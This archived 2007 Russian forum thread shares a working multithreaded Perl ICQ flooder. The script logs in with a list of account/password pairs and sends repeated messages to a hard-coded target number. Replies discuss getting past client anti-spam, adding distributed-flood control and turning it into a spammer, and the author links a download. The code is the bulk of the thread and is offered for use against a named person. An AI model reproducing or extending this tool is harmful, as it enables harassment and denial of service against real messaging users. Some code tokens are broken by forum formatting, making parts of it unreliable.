PDA

Просмотр полной версии : icq_flood.pl beta


BuH@LicH
03.04.2007, 02:04
Isis посвящается. ;)

Кроссплатформенный, многопоточный icq flooder. Т.к. написан за 2 часа, возможны ошибки/баги. Если кто-то считает, что его необходимо доделать(и отпишется здесь), то я постараюсь сделать его лучшим в своём роде ;).
#!/usr/bin/perl
##################################
## Script for icq flood
## thx to CyberLords for sample
##################################
use IO::Socket;
use Thread;
use strict;

##### config #####
our $file = 'uins.txt'; # файл с записями вида uin;pass
our $flood = '22222208'; # кого флудим?
our $send_message='From Russia With Love :-p'; # текст сообщения
our $count = 100; # количество сообщений с одного уина
our $delay = 3; # максимальная задержка отправки сообщений
my $onlain = 5; # задержка между выходами уина в он-лайн(т.к. пока без прокси, маленьким ставить не советую)
##################
my (@threads, @strings);
my ($uin, $pass, $j, $sl);

open(F,$file);
@strings=<F> or die print "$! ";
close(F);
$sl = scalar @strings * $onlain;
for ($j=0; $j < scalar @strings; $j++)
{
($uin, $pass) = split(/;/, @strings[$j]);
$threads[$j] = Thread->new(\&icq_flood, $uin, $pass, ($sl -= $onlain)) if (($uin) && ($pass));
sleep($onlain);
}

for ($j=0; $j < scalar @strings; $j++){$threads[$j] -> join();}

sub icq_flood{
my ($uin, $password, $sleep, $server, $port) = @_;
$server = $server || "login.icq.com";
$port = $port || 5190;

my $client_id = "ICQBasic";
my $socket = undef;

my $i;
my $answer_data; # ответ сервера
my $auth_request; #посылаемый пакет

my $FlAP_header; # заголовок FLAP пакета (сигнатура начала данных, номер канала, sequence number, длина данных)
my $data; # данные пакета
my $BOS_server_address; # ip основного сервера для работы с icq
my $BOS_server_port; # порт сервера
my $seq_num = int(rand(0xFFFF));

$data= #(основнные данные)
"\x00\x00\x00\x01". #версия протокола
"\x00\x01".pack('n',length($uin)).$uin. #сигнатура уина, длина уина, уин
"\x00\x02".pack('n',length($password)).xor_password($passwor d). #то же для пароля
"\x00\x03".pack('n',length($client_id)).$client_id. # то же для клиента
"\x00\x16".pack('n',2).pack('n',266). # версии клиента: мажор, минор, билд и тд
"\x00\x17".pack('n',2).pack('n',4). # -||-
"\x00\x18".pack('n',2).pack('n',65). # -||-
"\x00\x19".pack('n',2).pack('n',1). # -||-
"\x00\x1A".pack('n',2).pack('n',3281). # -||-
"\x00\x14".pack('n',4).pack('N',85). # -||-
"\x00\x0F".pack('n',2)."en". # язык клиента
"\x00\x0E".pack('n',2)."us"; # страна клмента

$FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;

socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tc p')) or die "socket() failed: $!\n"; #создаём сокет
connect(SOCK,sockaddr_in($port,inet_aton($server)) ) or return 0;
SOCK->autoflush(1);
sysread(SOCK,$answer_data,1024);
print SOCK $auth_request;
sysread(SOCK,$answer_data,1024);
if ($answer_data !~/\x8e\x00/) {
print "\n UIN $uin: Authorization error.\n";
}
close(SOCK);

$answer_data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/;
$BOS_server_address = $1;
$BOS_server_port = $2;

undef $data;
undef $FlAP_header;

$data="\x00\x00\x00\x01\x00\x06".pack('n',256).get_cookies($answer_data);
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;

socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tc p')) or die "socket() failed: $!\n";
connect(SOCK,sockaddr_in($BOS_server_port,inet_ato n($BOS_server_address))) or return 0;
SOCK->autoflush(1);
sysread(SOCK,$answer_data,1024);
print SOCK $auth_request;
sysread(SOCK,$answer_data,1024);

undef $data;
undef $FlAP_header;

$data="\x00\x01\x00\x17".("\x00" x 7)."\x01\x00\x03\x00\x02\x00\x01\x00\x03\x00\x01\x00\x 15\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01\x00\x09 \x00\x01\x00\x0a\x00\x01";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
sysread(SOCK,$answer_data,1024);

undef $data;
undef $FlAP_header;

$data="\x00\x01\x00\x06".("\x00" x 6);
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
sysread(SOCK,$answer_data,2048);

undef $data;
undef $FlAP_header;

$data="\x00\x01\x00\x08".("\x00" x 7)."\x01\x00\x02\x00\x03\x00\x04\x00\x05";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a"."\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;

undef $data;
undef $FlAP_header;

$data="\x00\x01\x00\x1e".("\x00" x 7)."\x06\x00\x04\x01\00\x00\x00";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
sysread(SOCK,$answer_data,2048);

undef $data;
undef $FlAP_header;

$data="\x00\x01\x00\x02".("\x00" x 7)."\x01\x00\x03\x01\x10\x02\x8a\x00\x02\x00\x01\x01\x 01\x02\x8a\x00\x03\x00\x01\x01\x10\x02\x8a\x00\x15 \x00\x01\x01\x10\x02\x8a\x00\x04\x00\x01\x01\x10\x 02\x8a\x00\x06\x00\x01\x01\x10\x02\x8a\x00\x09\x00 \x01\x01\x10\x02\x8a\x00\x0a\x00\x01\x01\x10\x02\x 8a";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;

print "\n UIN: $uin ON-LINE.\n"; ### Эту строчку можно удалить :)
sleep($sleep); # Если хотите чтобы флуд начинался сразу же, после выхода уина в он-лайн - закоментируйте данную строчку.
for ($i=1; $i<$count; $i++)
{ undef $data;
undef $FlAP_header;

my $part1="\x00\x04\x00\x06".("\x00" x 6)."\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x00\x02".pack("w",length($flood)).$flood."\x00\x05";
my $part2="\x00\x00\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x09\x46\x 13\x49\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53\x54\x00 \x00\x00\x0a\x00\x02\x00\x01\x00\x0f\x00\x00\x27\x 11";
my $part3="\x1b\x00\x07".("\x00" x 19)."\x03".("\x00" x 4)."\xe9\xff\x0e\x00\xe9\xff".("\x00" x 12)."\x01\x00\x00\x00\x01\x00".pack("v",length("$send_message\0"))."$send_message\x00".("\x00" x 4)."\xff\xff\xff\x00";
$data=$part1.pack('n',length($part2.$part3)+2).$pa rt2.pack('n',length($part3)).$part3; # составляем данные, подставляя все TLV размеры
$data.="\x00\x03\x00\x00";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;

print SOCK $auth_request;
sysread(SOCK,$answer_data,2048);
sleep(int(rand($delay)));
}
}

sub xor_password() {
my ($password)=@_;
my @password_xor=("\xF3", "\x26", "\x81", "\xC4", "\x39", "\x86","\xDB", "\x92", "\x71", "\xA3", "\xB9", "\xE6", "\x53", "\x7A", "\x95","\x7C");
my $xored_password;
my $i=0;

foreach(split(//,$password)) {
$xored_password.=$_ ^ $password_xor[$i++];
$i=0 if $i eq @password_xor;
}
return $xored_password;
}

sub get_cookies() {
my ($data)=@_;
my $cookies;
my $i=0;
my $c=0;
foreach(split(//,$data)) {
$i=1 if($c eq "\x00" && $_ eq "\x06");
$cookies.=$_ if $i eq 1;
$c=$_;
}
return substr($cookies,3,length($cookies));
}
##################################
## (C)oded by BuH@LicH
## just4fun...
##################################


ToDo:
- Поддержку Http/Socks прокси
- Возможность отправки сообщений авторизации
- Админку для распределённого флуда

P.S. Спасибо System за оценку кода и указание на ошибки.

Isis
03.04.2007, 08:11
Сначала доделай свой список ToDo , а потом выкладывай =\
И еще......
Если хоть от одного человека я увижу our $flood = '22222208'; # кого флудим?
, то прощайся со своей ацкой.....её будет жестоко выбивать :)

Woldemar
03.04.2007, 11:11
Бугага ну ты выдал.... сам то тестил что то не хоц нармана работать +1 предыдущему

BuH@LicH
03.04.2007, 12:34
Сначала доделай свой список ToDo , а потом выкладывай =\
Давайте я буду решать что мне делать, ок?)
её будет жестоко выбивать
Боюсь, боюсь, боюсь... ;)
сам то тестил
Да, конечно. Флудер работает.
что то не хоц нармана работать
Проблема у Вас. Если Вы смотрели код, то должны были догадаться, что флудер сначала выводит все уины онлайн, а только потом начинает флудить.
Если хотите, чтобы флуд начинался сразу же после выхода каждого уина в онлайн, удалите из кода:sleep($sleep);

gemaglabin
03.04.2007, 13:19
Первый нормальный екземпл где сразу после CLI_COOKIE не идет CLI_READY , респект )

Digimortal
03.04.2007, 14:35
сделай чтоб номер и параметры можно было указывать как аргументы при запуске..

>> undef $data;
>> undef $FlAP_header;

а зачем это?

>> Админку для распределённого флуда

имхо это лишнее для подобного скриптика ) ..вот если станешь его под спамер переделывать, тогда админка не помешает..

и выложи его лучше в виде аттача, ато форум покромсал скриптег немного..

BuH@LicH
03.04.2007, 15:15
респект )
Спасибо :)
сделай чтоб номер и параметры можно было указывать как аргументы при запуске..
Хорошо. ;)
форум покромсал скриптег немного..
Спасибо большое! Я и не заметил. Возможно из-за этого он и не работал у кого-то.
Скачать можно тут: http://icq-floof123.narod.ru/icq.pl

Digimortal
03.04.2007, 15:54
>> Возможно из-за этого он и не работал у кого-то.

а может и потому, что он не флудит на &rc, к примеру..

прикольней можно сделать, чтоб, например, фразы для флуда разные выбирались..

BuH@LicH
03.04.2007, 16:41
на &rc, к примеру..
Квиповский и крысовский(&rc - имелось ввиду &rQ ?) антиспам не удалось пока вынести этим флудером. :( Сейчас разбираюсь как старые флудеры выносили уины с антиспамом. &rQ без антиспама вылетает, только что протестил.

Пока посплю схожу, вечерком гляну ещё разок ;)

Isis
03.04.2007, 17:02
BuH@LicH, скажи свой номер icq или напиши мне

Digimortal
03.04.2007, 17:10
>> &rc - имелось ввиду &rQ ?

угу )

ток у меня наооборот вышло: в &rq ниче не приходило (антиспам-опции не активированы даже), а в квипе (уже старый билд) приходят сообщения..

x-treem
03.04.2007, 17:54
мля, дык это переделаный бот.
старый очень. ты дажо переменные не менял)))

BuH@LicH
03.04.2007, 18:06
мля, дык это переделаный бот.
Дык да :)
## thx to CyberLords for sample.
http://www.cyberlords.net/releases/cl_icq.txt и некоторые отрывки кодов были из различных *.pm.

x-treem
03.04.2007, 18:13
Их симпл авторизация мне тоже очень что - то напоминает... ток не могу вспомнить что